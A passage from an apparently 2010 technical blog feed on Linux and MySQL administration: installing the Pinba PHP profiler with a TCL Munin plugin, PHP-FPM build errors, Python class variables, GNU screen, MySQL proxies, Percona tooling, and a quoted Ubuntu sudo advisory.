finishes. If you put a timer around some critical piece of code you can get information on how often it runs and how much time it is being executed. Timers can be tagged and the data can be grouped by tags. So, in some pieces of code you can set tags "author" and "task" with corresponding values. Then you'll manage to compare the performance of code written by different developers and identify the most time-consuming parts. The most interesting thing is that when you create database tables following certain rules, these tables become automagically filled with the necessary data. So, if you use the tags "author" and "tags" to group the data, the reports will include all valid combinations of these tags and show summaries on these combinations: how much time Joe's scripts parsed new documents and how often Jackie's front-end scripts were called. Very impressive.&lt;/p&gt;
&lt;p&gt;By default, Pinba stores this information for some limited period of time (15 minutes, IIUC), so you need some way to make the data persistent. Since we use Munin to monitor various system indicators, I wrote a couple of plugins (in TCL and Lua, just for fun :)) to display the frequency of execution and the average execution time for each timer. Our developers added a handful of timers in various places of code and here it is:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wEtkaYiEOpY/TCNZB7KmydI/AAAAAAAAAvs/fNEIelOYAsw/s1600/pinba1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 206px;" src="http://3.bp.blogspot.com/_wEtkaYiEOpY/TCNZB7KmydI/AAAAAAAAAvs/fNEIelOYAsw/s320/pinba1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5486326660664314322" /&gt;&lt;/a&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_wEtkaYiEOpY/TCNZTwkPJTI/AAAAAAAAAv8/YnC7jvF7ua4/s1600/pinba2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 206px;" src="http://4.bp.blogspot.com/_wEtkaYiEOpY/TCNZTwkPJTI/AAAAAAAAAv8/YnC7jvF7ua4/s320/pinba2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5486326967056672050" /&gt;&lt;/a&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_wEtkaYiEOpY/TCNZnOVnlCI/AAAAAAAAAwE/JIB1UKpKcIA/s1600/pinba3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 206px;" src="http://1.bp.blogspot.com/_wEtkaYiEOpY/TCNZnOVnlCI/AAAAAAAAAwE/JIB1UKpKcIA/s320/pinba3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5486327301465936930" /&gt;&lt;/a&gt;
&lt;p&gt;The last graph looks cluttered and not too informative, so I plan to employ Munin's 'suggest' feature to draw some diagrams using one script. Perhaps, organizing the graphs will be the most difficult part of the deployment. I have to say, though, that the installation was not simple, either. Prerequisites include compiled sources of the installed MySQL (&lt;a href="http://percona.com"&gt;Percona Server 10.2&lt;/a&gt; in my case), &lt;a href="http://code.google.com/p/protobuf/"&gt;Google Protocol Buffers&lt;/a&gt;, &lt;a href="http://judy.sourceforge.net/"&gt;Judy library&lt;/a&gt;, libevent 1.4.1+ (Ubuntu's default one will do) and &lt;a href="http://www.hoard.org/"&gt;Hoard memory allocator&lt;/a&gt;. And here is the installation process (paths will be different for you, so check carefully):&lt;/p&gt;
&lt;pre&gt;
wget http://pinba.org/files/pinba_engine-0.0.5.tar.gz
tar -xzf pinba_engine-0.0.5.tar.gz
wget http://pinba.org/files/pinba_extension-0.0.5.tgz
tar -xzf pinba_extension-0.0.5.tgz
wget http://protobuf.googlecode.com/files/protobuf-2.3.0.tar.gz
tar -xzf protobuf-2.3.0.tar.gz
wget http://downloads.sourceforge.net/project/judy/judy/\
Judy-1.0.5/Judy-1.0.5.tar.gz?use_mirror=ignum
tar -xzf Judy-1.0.5.tar.gz
wget http://www.cs.umass.edu/%7Eemery/hoard/hoard-3.8/source/hoard-38.tar.gz
tar -xzf hoard-38.tar.gz
sudo aptitude install libevent-1.4-2 libevent-dev
cd protobuf-2.3.0
./configure
make -j
sudo make install
cd ../judy-1.0.5/
./configure
make
sudo make install
cd ../hoard-38/src
make linux-gcc-x86-64
sudo cp libhoard.so /usr/local/lib
sudo cp *.h /usr/local/include
sudo ldconfig
cd pinba_engine-0.0.5/
./configure --with-mysql=/home/minaev/Percona-Server-10.2/ \
--with-judy=/usr/local --with-protobuf=/usr/local \
--with-event=/usr --libdir=/usr/lib/mysql/plugin/ \
--with-hoard=/usr/local
make 
sudo make install
echo "INSTALL PLUGIN pinba SONAME 'libpinba_engine.so'"|mysql
echo "CREATE DATABASE pinba"|mysql
mysql -D pinba &amp;lt;default_tables.sql
cd pinba-0.0.5/
sed -i 's/NOTICE/CHECKING/' config.m4
phpize
./configure --with-pinba=/usr/local
sudo make install
&lt;/pre&gt;
&lt;p&gt;I had to edit config.m4 because my version autoconf was a bit buggy. After this process you'll have to add three lines to your php.ini:&lt;/p&gt;
&lt;pre&gt;
extension=pinba.so
pinba.enabled=1
pinba.server=[MySQL server address]
&lt;/pre&gt;
&lt;p&gt;And here is one of Munin plugins, written in TCL. It collects data on how often certain API parts were called.
&lt;/p&gt;
&lt;pre&gt;
#!/usr/bin/tclsh

package require mysqltcl 3.05


proc clean_fieldname arg {
    return [regsub -all {[^A-Za-z]} $arg "_"]
}

set dbuser "pinba"
set db "pinba"

set conn [::mysql::connect -user $dbuser -db $db]

set fields [::mysql::sel $conn 
  "select concat(module_value, '+', action_value) from \
tag_info_module_action" -list]

if {$argc &gt; 0} {
    switch [lindex $argv 0] {
        "config" {
            puts "graph_title PHP Actions per second"
            puts "graph_vlabel reqs per second"
            puts "graph_category Pinba"
            foreach fld $fields {
                set clean [clean_fieldname $fld]
                 puts "$clean.label $fld"
                 puts "$clean.draw LINE3"
            }
        }
        "autoconf" {
            puts "yes"
        }
    }
} else {
    foreach fld $fields {
        set clean [clean_fieldname $fld]
        set data [::mysql::sel $conn 
  "select req_per_sec from tag_info_module_action where \
  concat(module_value, '+', action_value)='$fld'" -list]
        puts "$clean.value $data"
    }
}

::mysql::close $conn
&lt;/pre&gt;
&lt;p&gt;BTW, you may find it interesting that the performance of TCL scripts was almost the same as that of Lua scripts and about 3-4 times higher than for Bash.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-955335573023997871?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/955335573023997871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/06/pinba-php-is-not-bottleneck-anymore.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/955335573023997871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/955335573023997871'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/06/pinba-php-is-not-bottleneck-anymore.html' title='PINBA: PHP Is Not a Bottleneck Anymore'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wEtkaYiEOpY/TCNZB7KmydI/AAAAAAAAAvs/fNEIelOYAsw/s72-c/pinba1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-926752958679284178</id><published>2010-06-15T01:21:00.000-07:00</published><updated>2010-06-15T01:56:30.889-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Dark sides of Python</title><content type='html'>&lt;p&gt;While reading about Python and playing around with its objects and classes (OOP being a perversions in itself), I witnessed a slightly weird behaviour. Define a class with a class variable.&lt;/p&gt;
&lt;pre&gt;class Parent:
  variable = "parent 1"
&lt;/pre&gt;
&lt;p&gt; Then define a descendant class that inherits the class variable:&lt;/p&gt;
&lt;pre&gt;class Child(Parent):
  pass
&lt;/pre&gt;
&lt;p&gt;(That funny single &lt;tt&gt;pass&lt;/tt&gt; stands for empty definition body) Now, let's have a look at the value of &lt;tt&gt;variable&lt;/tt&gt; in Parent and Child:&lt;/p&gt;
&lt;pre&gt;print Parent.variable
parent 1
print Child.variable
parent 1
&lt;/pre&gt;
&lt;p&gt;Then, change the value of the variable in the parent class and it should also change in the child class:&lt;/p&gt;
&lt;pre&gt;Parent.variable = "parent 2"
print Parent.variable
parent 2
print Child.variable
parent 2&lt;/pre&gt;
&lt;p&gt;Sounds good. The variable must be shared between the two classes. Now, let's change the value of this allegedly shared variable in the child class:&lt;/p&gt;
&lt;pre&gt;Child.variable = "child 1"
print Parent.variable
parent 2
print Child.variable
child 1&lt;/pre&gt;
&lt;p&gt;Quite of a sudden, the variable turns out to be two separate variables. We have somehow broke the link that connected them and now, even if we change the value of the variable in Parent, this will not affect the variable in Child anymore:&lt;/p&gt;
&lt;pre&gt;Parent.variable = "parent 3"
print Parent.variable
parent 3
print Child.variable
child 1&lt;/pre&gt;
&lt;p&gt;And how a language with such non-trivial idiosyncrasies can be promoted as newbie-friendly, "does-what-you-want" language? My interest to Python evaporates so fast that I will probably never get to the famous included "batteries". &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-926752958679284178?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/926752958679284178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/06/dark-sides-of-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/926752958679284178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/926752958679284178'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/06/dark-sides-of-python.html' title='Dark sides of Python'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5250100881723016572</id><published>2010-05-04T01:54:00.000-07:00</published><updated>2010-05-04T02:08:08.674-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Errors when installing PHP 5.3 with FPM on Ubuntu</title><content type='html'>&lt;p&gt;If you try to install PHP 5.3 with FPM on Ubuntu, no matter which installation path you follow, patching sources or downloading FPM from SVN, you will most likely see a lot of error messages similar to the following:&lt;/p&gt;
&lt;pre&gt;
$ ./configure 
cat: confdefs.h: No such file or directory
./configure: 490: ac_fn_c_try_run: not found
./configure: 490: 5: Bad file descriptor    
./configure: 490: :: checking for pthreads_cflags: not found
./configure: 490: 6: Bad file descriptor                    
./configure: 490: checking for pthreads_cflags... : not found
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 490: ac_fn_c_try_run: not found                 
./configure: 492: 5: Bad file descriptor                     
./configure: 492: :: result: : not found                     
./configure: 492: 6: Bad file descriptor                     
./configure: 492: : Permission denied                        
./configure: 495: 5: Bad file descriptor                     
./configure: 495: :: checking for pthreads_lib: not found    
./configure: 495: 6: Bad file descriptor                     
./configure: 495: checking for pthreads_lib... : not found   
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
cat: confdefs.h: No such file or directory                   
./configure: 555: ac_fn_c_try_run: not found                 
./configure: 557: 5: Bad file descriptor                     
./configure: 557: :: result: : not found                     
./configure: 557: 6: Bad file descriptor                     
./configure: 557: : Permission denied                        
./configure: 633: 5: Bad file descriptor                     
./configure: 633: :: result: : not found                     
./configure: 633: 6: Bad file descriptor                     
./configure: 633: : Permission denied                        
./configure: 635: 5: Bad file descriptor                     
./configure: 635: :: result: Configuring SAPI modules: not found
./configure: 635: 6: Bad file descriptor                        
./configure: 635: Configuring SAPI modules: not found           
./configure: 666: 5: Bad file descriptor
&lt;/pre&gt;
&lt;p&gt;If so, don't be a fool like me, check what &lt;code&gt;buildconf&lt;/code&gt; reported above:&lt;/p&gt;
&lt;pre&gt;
$ ./buildconf --force                                                                                                          
Forcing buildconf                                                                                                                                       
buildconf: checking installation...                                                                                                                     
buildconf: autoconf version 2.64 (ok)                                                                                                                   
buildconf: Your version of autoconf likely contains buggy cache code.                                                                                   
           Running vcsclean for you.                                                                                                                    
           To avoid this, install autoconf-2.13.                                                                                                        
Can't figure out your VCS, not cleaning. 
&lt;/pre&gt;
&lt;p&gt;This is not just a regular warning you can neglect, you have to use autoconf-2.13. You don't have to install it from sources, though. This version is a separate package, so just run &lt;code&gt;sudo aptitude install autoconf-2.13&lt;/code&gt;. You will have also to install &lt;code&gt;libevent-1.4&lt;/code&gt; and &lt;code&gt;libevent-dev&lt;/code&gt;. Now, you can run &lt;code&gt;buildconf&lt;/code&gt; again and then &lt;code&gt;configure&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The full installation procedure would be:&lt;/p&gt;
&lt;pre&gt;
sudo apt-get install autoconf2.13
wget http://ru.php.net/get/php-5.3.2.tar.bz2/from/ru2.php.net/mirror
tar -xjf php-5.3.2.tar.bz2
sudo aptitude install libevent-dev
cd php-5.3.2/
svn co http://svn.php.net/repository/php/php-src/trunk/sapi/fpm sapi/fpm
./buildconf --force
./configure --enable-fpm --with-zlib \
--enable-pdo --with-pdo-mysql --enable-sockets \
--with-mysql --with-config-file-path=/etc \
--enable-calendar --with-iconv --enable-exif\
 --enable-soap --enable-ftp --enable-wddx \
--with-zlib --with-bz2 --with-gettext \
--with-xmlrpc --enable-pcntl --enable-soap \
--enable-bcmath --enable-mbstring --enable-dba \
--with-openssl --with-mhash --with-mcrypt \
--with-xsl --with-curl --with-pcre-regex 
--with-gd --enable-gd-native-ttf --with-ldap \
--enable-pdo --with-pdo-mysql --with-mysql \
--with-sqlite --with-pdo-sqlite --enable-zip \
--enable-sqlite-utf8 --with-pear \
--with-freetype-dir=/usr --with-jpeg-dir=/usr \
--with-mysqli --with-fpm-conf=/etc/php/php-fpm.conf \
--with-fpm-pid=/var/run/php-fpm.pid \
--with-config-file-path=/etc/php/ \
--with-config-file-scan-dir=/etc/php/conf.d/
&lt;/pre&gt;
&lt;p&gt;Of course, your php configure options can be different.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5250100881723016572?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5250100881723016572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/05/errors-when-installing-php-53-with-fpm.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5250100881723016572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5250100881723016572'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/05/errors-when-installing-php-53-with-fpm.html' title='Errors when installing PHP 5.3 with FPM on Ubuntu'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-641604185384895518</id><published>2010-04-28T04:44:00.000-07:00</published><updated>2010-04-28T04:48:05.940-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Naïve question</title><content type='html'>&lt;p&gt;Been installing FineReader under Windows today. The question is why does installation process pause when I click'n'hold on the window title bar to move it? No reply...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-641604185384895518?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/641604185384895518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/04/naive-question.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/641604185384895518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/641604185384895518'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/04/naive-question.html' title='Naïve question'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2298591513350476385</id><published>2010-04-21T00:39:00.000-07:00</published><updated>2010-04-21T00:52:54.806-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='screen'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Split screen vertically. You won't find it in `man screen`</title><content type='html'>&lt;p&gt;Now I know what `serendipity' means. It's when you are not quite awake, sit at the keyboard, your fingers fumble and you suddenly see that your xterm window where `screen' is running, gets split in two, but not horizontally (one above another), as it should according to the documentation, but vertically (one beside another). I didn't even understand what keys I pressed to get this effect. `man screen' includes only familiar `split' command. It took me some time to google out the answer.&lt;p&gt;
&lt;p&gt;It turns out that this feature was included in `screen' quite some time ago, but somehow nobody cared to describe it in man. Pressing `C-a |' splits the screen in left and right regions. To get rid of one of the regions, use the usual `C-a X' or `C-a S'.&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2298591513350476385?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2298591513350476385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/04/split-screen-vertically-you-wont-find.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2298591513350476385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2298591513350476385'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/04/split-screen-vertically-you-wont-find.html' title='Split screen vertically. You won&apos;t find it in `man screen`'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5228950369147529011</id><published>2010-04-15T02:06:00.000-07:00</published><updated>2010-04-15T02:22:10.462-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>MySQL Proxies</title><content type='html'>&lt;p&gt;While searching for a MySQL proxy solution, I found the following four products:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://forge.mysql.com/wiki/MySQL_Proxy"&gt;MySQL-proxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://spockproxy.sourceforge.net/"&gt;Spock proxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://consoleninja.net/code/dpm/README.html"&gt;DPM (Dormando's proxy module)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://code.google.com/p/proximo/"&gt;Proximo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At least two of them share the same codebase, MySQL-proxy being the forefather of Spock proxy. Spock proxy tries to increase performance by eliminating the scripting layer. The goal of Spock is to provide efficient sharding, not fault-tolerance. Dormando's proxy positions itself as an alternative to the official MySQL-proxy, and it tries to retain compatibility. It even supports Lua scripting. I'm not sure, though, if the API is the same. And, finally, Proximo is written in Perl, which means its performance is lower than that of the other competitors. But Proximo is in very early stage of development and has a promising architecture. It may have good future.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5228950369147529011?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5228950369147529011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/04/mysql-proxies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5228950369147529011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5228950369147529011'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/04/mysql-proxies.html' title='MySQL Proxies'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2503647328972691987</id><published>2010-03-25T07:39:00.000-07:00</published><updated>2010-03-25T07:48:47.760-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>Slightly disappointed with Percona products</title><content type='html'>&lt;p&gt;A large part of my to-do list was devoted to the products by &lt;a href="http://www.percona.com/" &gt;Percona&lt;/a&gt;, company well-known in the MySQL world. I installed XtraDB engine on our servers and began using Xtrabackup to backup our databases. Not bad, I have to admit. I mean, the servers still work and the backups are made. But I had to solve so many problems that I kept recalling my first days with Linux almost fifteen years ago, when you had to compile everything from sources, manually track dependencies and even then there was only one chance in two that the program will run.  &lt;/p&gt;
&lt;p&gt;First, I installed XtraDB, MySQL engine which is supposd to cure the long-standing deficiencies of InnoDB. It was not too difficult. I downloaded the sources of XtraDB-1.0.6, tried to compile, failed, found a description of a non-standard (easily explainable, though) installation procedure, copied the sources to the MySQL source tree, replacing the InnoDB engine, tried to compile, found an error, googled for a solution, fixed a bug in &lt;tt&gt;handler/i_s.cc&lt;/tt&gt;, tried to compile, found an error, googled for a solution, fixed a bug in &lt;tt&gt;Makefile.in&lt;/tt&gt;, tried to compile, succeeded, installed and there it is. Easy, right? :)&lt;/p&gt;
&lt;p&gt;Next, I wanted to have a look at another product by Percona, Xtrabackup, version 1.0 of which was announced in December 2009. Xtrabackup is to become the main backup solution for MySQL, being the only free tool able to perform online backups. There is more than one link at Percona.com leading to the sources. Or should I say misleading? &lt;a href="http://www.percona.com/docs/wiki/percona-xtrabackup:howtoget" &gt;Here's one page&lt;/a&gt; saying you have to use Bazaar to get the sources. So I did. There were some screens chockfull of error messages, which I tried to quench with a bunch of header files stolen from MySQL source tree, but to no avail. I checked the Percona web-site once again and found &lt;a href="http://www.percona.com/percona-builds/xtrabackup/XtraBackup-1.0/" &gt;another link&lt;/a&gt;. This tarball included a whole distribution of MySQL. I tried to compile it as it is. Then, I tried to copy the sources to MySQL sources, strictly following the recommended procedure. Then, I tried to copy the sources to my source tree (with XtraDB substituted for InnoDB, as described above). I admit I almost gave up. In the end, I downloaded a binary version of Xtrabackup, compiled by the authors. It just worked. Well, to a degree...&lt;/p&gt;
&lt;p&gt;This package contained Xtrabackup itself and a Perl script called Innobackupex. The problem with Xtrabackup is that it does not support anything but InnoDB (and XtraDB). Fortunately, MyISAM tables can be just copied as files, and Innobackupex does exactly this. Unfortunately, Innobackupex does this only when making full backups. Incremental backups only include InnoDB tables.&lt;/p&gt;
&lt;p&gt;This problem was easy to fix, but there was another. Innobackupex does not support the option --incremental-basedir specifying the last full backup. The reference point for the incremental backup is defined as the earliest directory. So, I had to add support for this option to the script manually. &lt;/p&gt;
&lt;p&gt;So, to sum it up, the number of problems I met in Percona products is unusually high. Or is it normal for a company that makes money solving users' problems? :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2503647328972691987?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2503647328972691987/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/03/slightly-disappointed-with-percona.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2503647328972691987'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2503647328972691987'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/03/slightly-disappointed-with-percona.html' title='Slightly disappointed with Percona products'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5181731698309802662</id><published>2010-03-01T23:06:00.000-08:00</published><updated>2010-03-01T23:10:59.847-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><title type='text'>Ubuntu: Sudo vulnerability</title><content type='html'>&lt;p&gt;Not too dangerous, unless you grant sudo rights to too many people, but worrying enough: &lt;a href="http://www.ubuntu.com/usn/USN-905-1"&gt;Ubuntu Security Notice USN-905-1&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;sudo did not properly validate the path for the 'sudoedit' pseudo-command. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. The sudoedit pseudo-command is not used in the default installation of Ubuntu.&lt;/blockquote&gt;
&lt;p&gt;And another one, only a little bit more unnerving:&lt;/p&gt;
&lt;blockquote&gt;sudo did not reset group permissions when the 'runas_default' configuration option was used. A local attacker could exploit this to escalate group privileges if sudo was configured to allow the attacker to run commands under the runas_default account. The runas_default configuration option is not used in the default installation of Ubuntu.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5181731698309802662?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5181731698309802662/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/03/ubuntu-sudo-vulnerability.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5181731698309802662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5181731698309802662'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/03/ubuntu-sudo-vulnerability.html' title='Ubuntu: Sudo vulnerability'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-8022966711693993970</id><published>2010-02-26T05:51:00.000-08:00</published><updated>2010-02-26T05:52:40.592-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Testing new MySQL on production server</title><content type='html'>&lt;p&gt;Even when your MySQL works on a mission-critical server, there is a way to make downtime as short as possible after you have compiled a new version of the DBMS. MySQL documentation contains a chapter called &lt;a href="http://dev.mysql.com/doc/refman/5.1/en/multiple-servers.html"&gt;5.6. Running Multiple MySQL Servers on the Same Machine&lt;/a&gt;. But the reality is a bit more complicated.&lt;/p&gt;
&lt;p&gt;First of all, you have to create a test database with the &lt;tt&gt;mysql_install_db&lt;/tt&gt; command. Create an empty directory called, for example, &lt;tt&gt;test-db&lt;/tt&gt; in your home directory and give full permissions to all users, to avoid problems with mysql user trying to create files:&lt;/p&gt;
&lt;code&gt;
$ mkdir test-db
$ chmod 777 test-db
&lt;/code&gt;
